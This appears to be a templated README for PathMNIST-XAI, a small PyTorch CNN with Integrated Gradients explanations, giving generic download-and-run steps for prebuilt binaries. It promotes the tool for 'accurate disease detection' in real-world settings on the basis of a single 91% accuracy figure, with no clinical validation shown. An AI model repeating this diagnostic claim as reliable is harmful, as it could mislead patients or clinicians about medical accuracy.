PathMNIST-XAI：轻量可解释 CNN 医学影像应用

🎯 Description

PathMNIST-XAI is a lightweight machine learning application designed for medical imaging. It helps in accurate disease detection using a Convolutional Neural Network (CNN) framework. The model achieves over 91% accuracy and provides transparency through Integrated Gradients. This app is built in PyTorch and stores attribution data in SQLite, making it easy to use and deploy in real-world settings.

🚀 Getting Started

🖥️ System Requirements

To run this application, your computer should meet the following requirements:

• Operating System: Windows 10 or later, macOS, or a modern Linux distribution.
• Memory: At least 4 GB of RAM.
• Disk Space: Minimum of 500 MB available for installation and storage.
• An internet connection for downloading the software and updates.

📥 Download & Install

1. Visit the Releases Page: To download the application, click on the link below:

   Download PathMNIST-XAI

2. Choose the Latest Version: On the Releases page, you will find a list of available versions. Look for the latest version and click on it.

3. Download the File: Find the file suited for your operating system. Click the download link to save the file to your computer.

4. Install the Application:

   • For Windows:
     • Double-click the downloaded .exe file.
     • Follow the installation prompts.
   • For macOS:
     • Open the downloaded .dmg file.
     • Drag the PathMNIST-XAI icon to your Applications folder.
   • For Linux:
     • Open the terminal.
     • Navigate to the download directory.
     • Run chmod +x PathMNIST-XAI-Linux to make it executable.
     • Execute it by typing ./PathMNIST-XAI-Linux.

5. Launch the Application: Locate the installed application on your computer. Open it to start using the software.

🧠 How to Use

After launching PathMNIST-XAI, follow these steps:

1. Upload Medical Images: Click on the ‘Upload’ button to select the medical images you wish to analyze.
2. Run the Analysis: Press the ‘Analyze’ button to start the process. The application will evaluate the images and display results.
3. Review the Results: The application provides images with highlighted regions, indicating where the model identified potential issues. Review the recommendations carefully.
4. Save Results: You can save the analysis results and attributions by using the ‘Save’ option in the menu.

📊 Features

• High Accuracy: Achieves over 91% accuracy in disease detection.
• Explainable AI: Integrated Gradients provide visual explanations for model predictions.
• Lightweight Design: Lower resource requirements make it ideal for edge deployment.
• User-Friendly Interface: Simple navigation with minimal technical barriers.

📚 Additional Resources

• Documentation: Find detailed instructions and FAQs on our Wiki.
• Community Support: Join discussions and get help by connecting with users on our GitHub Discussions.

🤝 Contributors

Thank you to everyone who contributed to this project. Your hard work and dedication help make this application better for everyone.

📝 License

This project is licensed under the MIT License. Feel free to modify and share the application as per the license terms.